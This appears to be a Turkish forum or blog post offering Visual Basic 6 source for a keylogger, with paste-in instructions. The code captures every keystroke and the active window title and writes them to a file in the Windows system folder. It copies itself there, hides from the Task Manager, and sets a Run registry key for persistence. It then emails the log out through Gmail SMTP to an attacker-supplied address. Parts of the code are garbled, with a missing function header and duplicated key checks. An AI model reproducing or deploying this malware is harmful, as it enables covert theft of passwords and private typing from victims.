Keylogger Kodu

BİR TANE MODÜL EKLEYİN VE ŞU KDLARI YAPIŞTIRIN:

Public Const SW_HIDE = 0
Public Const GW_OWNER = 4
Declare Function GetWindow Lib "user32" (ByVal hwnd As _
Long, ByVal wCmd As Long) As Long
Declare Function ShowWindow Lib "user32" (ByVal hwnd _
As Long, ByVal nCmdShow As Long) As Long
------------------------------------------------------------------------------------------


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function SetActiveWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
    Dim i As Long
    Dim j As Long
    i = GetForegroundWindow
    If ReturnParent Then
    Do While i <> 0
    j = i
    i = GetParent(i)
    Loop
    i = j
    End If
    GetActiveWindowTitle = GetWindowTitle(i)
End Function
Public Function GetWindowTitle(ByVal hwnd As Long) As String
Dim l As Long
Dim s As String
l = GetWindowTextLength(hwnd)
s = Space(l + 1)

GetWindowText hwnd, s, l + 1

GetWindowTitle = Left$(s, l)
End Function


 Private Function al()
 If GetAsyncKeyState(13) = -32767 Then
 basıldı = "[enter]"
 GoTo tusyaz
 End If


  If GetAsyncKeyState(9) = -32767 Then
 basıldı = "[TAB]"
 GoTo tusyaz
 End If



If GetAsyncKeyState(32) = -32767 Then

 basıldı = " "
 GoTo tusyaz
 End If

If GetAsyncKeyState( 8 ) = -32767 Then
 If shift = False Then basıldı = "[backspace]"
 GoTo tusyaz
 End If







  If GetAsyncKeyState(81) = -32767 Then
 If shift = True Then basıldı = "Q"
 If shift = False Then basıldı = "q"
 If capslock = True Then basıldı = "Q"
 If altgr = True Then basıldı = "@"

 GoTo tusyaz
 End If





   If GetAsyncKeyState(87) = -32767 Then
 If shift = True Then basıldı = "W"
 If shift = False Then basıldı = "w"
 If capslock = True Then basıldı = "W"
 GoTo tusyaz
 End If





   If GetAsyncKeyState(69) = -32767 Then
 If shift = True Then basıldı = "E"
 If shift = False Then basıldı = "e"
 If capslock = True Then basıldı = "E"
 GoTo tusyaz
 End If






   If GetAsyncKeyState(82) = -32767 Then
 If shift = True Then basıldı = "R"
 If shift = False Then basıldı = "r"
 If capslock = True Then basıldı = "R"
 GoTo tusyaz
 End If




   If GetAsyncKeyState(84) = -32767 Then
 If shift = True Then basıldı = "T"
 If shift = False Then basıldı = "t"
 If capslock = True Then basıldı = "T"
 GoTo tusyaz
 End If


   If GetAsyncKeyState(89) = -32767 Then
 If shift = True Then basıldı = "Y"
 If shift = False Then basıldı = "y"
 If capslock = True Then basıldı = "Y"
 GoTo tusyaz
 End If

   If GetAsyncKeyState(85) = -32767 Then
 If shift = True Then basıldı = "U"
 If shift = False Then basıldı = "u"
 If capslock = True Then basıldı = "U"
 GoTo tusyaz
 End If
   If GetAsyncKeyState(73) = -32767 Then
 If shift = True Then basıldı = "I"
 If shift = False Then basıldı = "ı"
 If capslock = True Then basıldı = "I"
 GoTo tusyaz
 End If



    If GetAsyncKeyState(79) = -32767 Then
 If shift = True Then basıldı = "O"
 If shift = False Then basıldı = "o"
 If capslock = True Then basıldı = "O"
 GoTo tusyaz
 End If



    If GetAsyncKeyState(80) = -32767 Then
 If shift = True Then basıldı = "P"
 If shift = False Then basıldı = "p"
 If capslock = True Then basıldı = "P"
 GoTo tusyaz
 End If






    If GetAsyncKeyState(219) = -32767 Then
 If shift = True Then basıldı = "Ğ"
 If shift = False Then basıldı = "ğ"
 If capslock = True Then basıldı = "Ğ"
 GoTo tusyaz
 End If



    If GetAsyncKeyState(221) = -32767 Then
 If shift = True Then basıldı = "Ü"
 If shift = False Then basıldı = "ü"
 If capslock = True Then basıldı = "Ü"
 GoTo tusyaz
 End If






    If GetAsyncKeyState(65) = -32767 Then
 If shift = True Then basıldı = "A"
 If shift = False Then basıldı = "a"
 If capslock = True Then basıldı = "A"
 GoTo tusyaz
 End If





     If GetAsyncKeyState(83) = -32767 Then
 If shift = True Then basıldı = "S"
 If shift = False Then basıldı = "s"
 If capslock = True Then basıldı = "S"
 GoTo tusyaz
 End If




     If GetAsyncKeyState(65) = -32767 Then
 If shift = True Then basıldı = "A"
 If shift = False Then basıldı = "a"
 If capslock = True Then basıldı = "A"
 GoTo tusyaz
 End If





     If GetAsyncKeyState(65) = -32767 Then
 If shift = True Then basıldı = "A"
 If shift = False Then basıldı = "a"
 If capslock = True Then basıldı = "A"
 GoTo tusyaz
 End If




     If GetAsyncKeyState(68) = -32767 Then
 If shift = True Then basıldı = "D"
 If shift = False Then basıldı = "d"
 If capslock = True Then basıldı = "D"
 GoTo tusyaz
 End If


     If GetAsyncKeyState(70) = -32767 Then
 If shift = True Then basıldı = "F"
 If shift = False Then basıldı = "f"
 If capslock = True Then basıldı = "F"
 GoTo tusyaz
 End If




     If GetAsyncKeyState(71) = -32767 Then
 If shift = True Then basıldı = "G"
 If shift = False Then basıldı = "g"
 If capslock = True Then basıldı = "G"
 GoTo tusyaz
 End If




     If GetAsyncKeyState(72) = -32767 Then
 If shift = True Then basıldı = "H"
 If shift = False Then basıldı = "h"
 If capslock = True Then basıldı = "H"
 GoTo tusyaz
 End If



     If GetAsyncKeyState(74) = -32767 Then
 If shift = True Then basıldı = "J"
 If shift = False Then basıldı = "j"
 If capslock = True Then basıldı = "J"
 GoTo tusyaz
 End If




     If GetAsyncKeyState(75) = -32767 Then
 If shift = True Then basıldı = "K"
 If shift = False Then basıldı = "k"
 If capslock = True Then basıldı = "K"
 GoTo tusyaz
 End If




     If GetAsyncKeyState(76) = -32767 Then
 If shift = True Then basıldı = "L"
 If shift = False Then basıldı = "l"
 If capslock = True Then basıldı = "L"
 GoTo tusyaz
 End If



      If GetAsyncKeyState(186) = -32767 Then
 If shift = True Then basıldı = "Ş"
 If shift = False Then basıldı = "ş"
 If capslock = True Then basıldı = "Ş"
 GoTo tusyaz
 End If


      If GetAsyncKeyState(222) = -32767 Then
 If shift = True Then basıldı = "İ"
 If shift = False Then basıldı = "i"
 If capslock = True Then basıldı = "İ"
 GoTo tusyaz
 End If




      If GetAsyncKeyState(90) = -32767 Then
 If shift = True Then basıldı = "Z"
 If shift = False Then basıldı = "z"
 If capslock = True Then basıldı = "Z"
 GoTo tusyaz
 End If


       If GetAsyncKeyState(88) = -32767 Then
 If shift = True Then basıldı = "X"
 If shift = False Then basıldı = "x"
 If capslock = True Then basıldı = "X"
 GoTo tusyaz
 End If



       If GetAsyncKeyState(67) = -32767 Then
 If shift = True Then basıldı = "C"
 If shift = False Then basıldı = "c"
 If capslock = True Then basıldı = "C"
 GoTo tusyaz
 End If




       If GetAsyncKeyState(86) = -32767 Then
 If shift = True Then basıldı = "V"
 If shift = False Then basıldı = "v"
 If capslock = True Then basıldı = "V"
 GoTo tusyaz
 End If


       If GetAsyncKeyState(66) = -32767 Then
 If shift = True Then basıldı = "B"
 If shift = False Then basıldı = "b"
 If capslock = True Then basıldı = "B"
 GoTo tusyaz
 End If

       If GetAsyncKeyState(78) = -32767 Then
 If shift = True Then basıldı = "N"
 If shift = False Then basıldı = "n"
 If capslock = True Then basıldı = "N"
 GoTo tusyaz
 End If

        If GetAsyncKeyState(77) = -32767 Then
 If shift = True Then basıldı = "M"
 If shift = False Then basıldı = "m"
 If capslock = True Then basıldı = "M"
 GoTo tusyaz
 End If


        If GetAsyncKeyState(78) = -32767 Then
 If shift = True Then basıldı = "Ö"
 If shift = False Then basıldı = "ö"
 If capslock = True Then basıldı = "Ö"
 GoTo tusyaz
 End If


        If GetAsyncKeyState(220) = -32767 Then
 If shift = True Then basıldı = "Ç"
 If shift = False Then basıldı = "ç"
 If capslock = True Then basıldı = "Ç"
 GoTo tusyaz
 End If
 '---------------------------------------------------------------------------------------------------


        If GetAsyncKeyState(192) = -32767 Then
 If shift = True Then basıldı = "é"
 If shift = False Then basıldı = """"
 If altgr = True Then basıldı = "<"
 GoTo tusyaz
 End If



         If GetAsyncKeyState(49) = -32767 Then
 If shift = True Then basıldı = "!"
 If shift = False Then basıldı = "1"
 If altgr = True Then basıldı = ">"
 GoTo tusyaz
 End If





         If GetAsyncKeyState(50) = -32767 Then
 If shift = True Then basıldı = "'"
 If shift = False Then basıldı = "2"
 If altgr = True Then basıldı = "£"
 GoTo tusyaz
 End If

         If GetAsyncKeyState(51) = -32767 Then
 If shift = True Then basıldı = "^"
 If shift = False Then basıldı = "3"
 If altgr = True Then basıldı = "#"
 GoTo tusyaz
 End If



         If GetAsyncKeyState(52) = -32767 Then
 If shift = True Then basıldı = "+"
 If shift = False Then basıldı = "4"
 If altgr = True Then basıldı = "$"
 GoTo tusyaz
 End If



         If GetAsyncKeyState(53) = -32767 Then
 If shift = True Then basıldı = "%"
 If shift = False Then basıldı = "5"
 If altgr = True Then basıldı = "½"
 GoTo tusyaz
 End If



         If GetAsyncKeyState(54) = -32767 Then
 If shift = True Then basıldı = "&"
 If shift = False Then basıldı = "6"
 GoTo tusyaz
 End If


          If GetAsyncKeyState(55) = -32767 Then
 If shift = True Then basıldı = "/"
 If shift = False Then basıldı = "7"
 If altgr = True Then basıldı = "{"
 GoTo tusyaz
 End If


          If GetAsyncKeyState(56) = -32767 Then
 If shift = True Then basıldı = "("
 If shift = False Then basıldı = "8"
 If altgr = True Then basıldı = "["
 GoTo tusyaz
 End If


          If GetAsyncKeyState(57) = -32767 Then
 If shift = True Then basıldı = ")"
 If shift = False Then basıldı = "9"
 If altgr = True Then basıldı = "]"
 GoTo tusyaz
 End If

          If GetAsyncKeyState(48) = -32767 Then
 If shift = True Then basıldı = "="
 If shift = False Then basıldı = "0"
 If altgr = True Then basıldı = "}"
 GoTo tusyaz
 End If



       If GetAsyncKeyState(223) = -32767 Then
 If shift = True Then basıldı = "?"
 If shift = False Then basıldı = "*"
 If altgr = True Then basıldı = "\"
 GoTo tusyaz
 End If


       If GetAsyncKeyState(189) = -32767 Then
 If shift = True Then basıldı = "_"
 If shift = False Then basıldı = "-"
 If altgr = True Then basıldı = "|"
 GoTo tusyaz
 End If



       If GetAsyncKeyState(226) = -32767 Then
 If shift = True Then basıldı = ">"
 If shift = False Then basıldı = "<"
 If altgr = True Then basıldı = "|"
 GoTo tusyaz
 End If


        If GetAsyncKeyState(190) = -32767 Then
 If shift = True Then basıldı = ":"
 If shift = False Then basıldı = "."
 GoTo tusyaz
 End If



        If GetAsyncKeyState(188) = -32767 Then
 If shift = True Then basıldı = ";"
 If shift = False Then basıldı = ","
 If altgr = True Then basıldı = "`"
 GoTo tusyaz
 End If


         If GetAsyncKeyState(111) = -32767 Then
 If shift = True Then basıldı = "/"
 If shift = False Then basıldı = "/"
 GoTo tusyaz
 End If



         If GetAsyncKeyState(109) = -32767 Then
 If shift = True Then basıldı = "-"
 If shift = False Then basıldı = "-"
 GoTo tusyaz
 End If

          If GetAsyncKeyState(107) = -32767 Then
 If shift = True Then basıldı = "+"
 If shift = False Then basıldı = "+"
 GoTo tusyaz
 End If

          If GetAsyncKeyState(103) = -32767 Then
 If shift = False Then basıldı = "7"
 GoTo tusyaz
 End If

          If GetAsyncKeyState(104) = -32767 Then

 If shift = False Then basıldı = "8"
 GoTo tusyaz
 End If

          If GetAsyncKeyState(105) = -32767 Then

 If shift = False Then basıldı = "9"
 GoTo tusyaz
 End If

          If GetAsyncKeyState(97) = -32767 Then

 If shift = False Then basıldı = "1"
 GoTo tusyaz
 End If


           If GetAsyncKeyState(98) = -32767 Then

 If shift = False Then basıldı = "2"
 GoTo tusyaz
 End If


           If GetAsyncKeyState(99) = -32767 Then

 If shift = False Then basıldı = "3"
 GoTo tusyaz
 End If




           If GetAsyncKeyState(100) = -32767 Then

 If shift = False Then basıldı = "4"
 GoTo tusyaz
 End If



            If GetAsyncKeyState(101) = -32767 Then

 If shift = False Then basıldı = "5"
 GoTo tusyaz
 End If

            If GetAsyncKeyState(102) = -32767 Then

 If shift = False Then basıldı = "6"
 GoTo tusyaz
 End If

             If GetAsyncKeyState(96) = -32767 Then

 If shift = False Then basıldı = "0"
 GoTo tusyaz
 End If



              If GetAsyncKeyState(110) = -32767 Then

 If shift = False Then basıldı = ","
 GoTo tusyaz
 End If


              If GetAsyncKeyState(96) = -32767 Then

 If shift = False Then basıldı = "0"
 GoTo tusyaz
 End If










tusyaz:
Dim a As String
a = GetActiveWindowTitle(GetActiveWindow)
If Text2 <> a Then
Text1 = Text1 & " -- " & a & " ==> "
Text2 = a
End If
Text1 = Text1 & basıldı
Open "C:\WINDOWS\system\computersecurity.txt" For Output As #1
Write #1, Text1
 Close #1







End Function


Public Function shift() As Boolean
shift = CBool(GetAsyncKeyState(vbKeyShift))
End Function

Public Function capslock() As Boolean
capslock = CBool(GetAsyncKeyState(vbKeyCapital) And 1)
End Function
Public Function altgr() As Boolean
altgr = CBool(GetAsyncKeyState(17))
End Function

Private Sub Form_Load()
'Me.Hide
'---------------------------------------------------------------------------------------

'-----------------------------------------------------------------------------------------------------

CopyFile App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system\Keylogger.exe", 0
Dim a As String
'--------------------------------------------------------------------------------------- üstte mail gönderdik
Dim rc As Long
Dim OwnerhWnd As Long
'make the form invisible
'now remove it from the Task Manager List
OwnerhWnd = GetWindow(Me.hwnd, GW_OWNER)
rc = ShowWindow(OwnerhWnd, SW_HIDE)
'----------------------------------------------------------------------------------üstte görev yöneticisinden gizlendi
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, "C:\WINDOWS\system\Keylogger.exe"

'--------------------------------------------------------------------------------------üsstte regedite kaydettik.
Text1 = Text1 & GetActiveWindowTitle(GetActiveWindow)
Text2 = GetActiveWindowTitle(GetActiveWindow)
'Dim a As String
'a = GetActiveWindowTitle(GetActiveWindow)
'----------------------------------------------------------------------------------------------
'----------------------------------------------------------------------------------------------
If Dir("C:\WINDOWS\system\computersecurity.txt") <> "" Then
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

' send one copy with Google SMTP server (with autentication)
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "GMAİL HESABINIZ"
Flds.Item(schema & "sendpassword") = "ŞİFRENİZ"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "GÖNDERİLECEK MAİL"
.From = "Myname <myemail@mydomain.com>"
.AddAttachment "C:\WINDOWS\system\computersecurity.txt"
.Subject = "Test send with gmail account"
.HTMLBody = message
.Sender = "Myname"
.Organization = "Myname"
.ReplyTo = "myemail@mydomain.com"
Set .Configuration = iConf
SendEmailGmail = .Send
End With

Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing

End If
'--------------------------------------------------------------------------------------------------
'----------------------------------------------------------------------------------------------------

End Sub
Private Sub Timer1_Timer()
al
End Sub

Categories: Visual Basic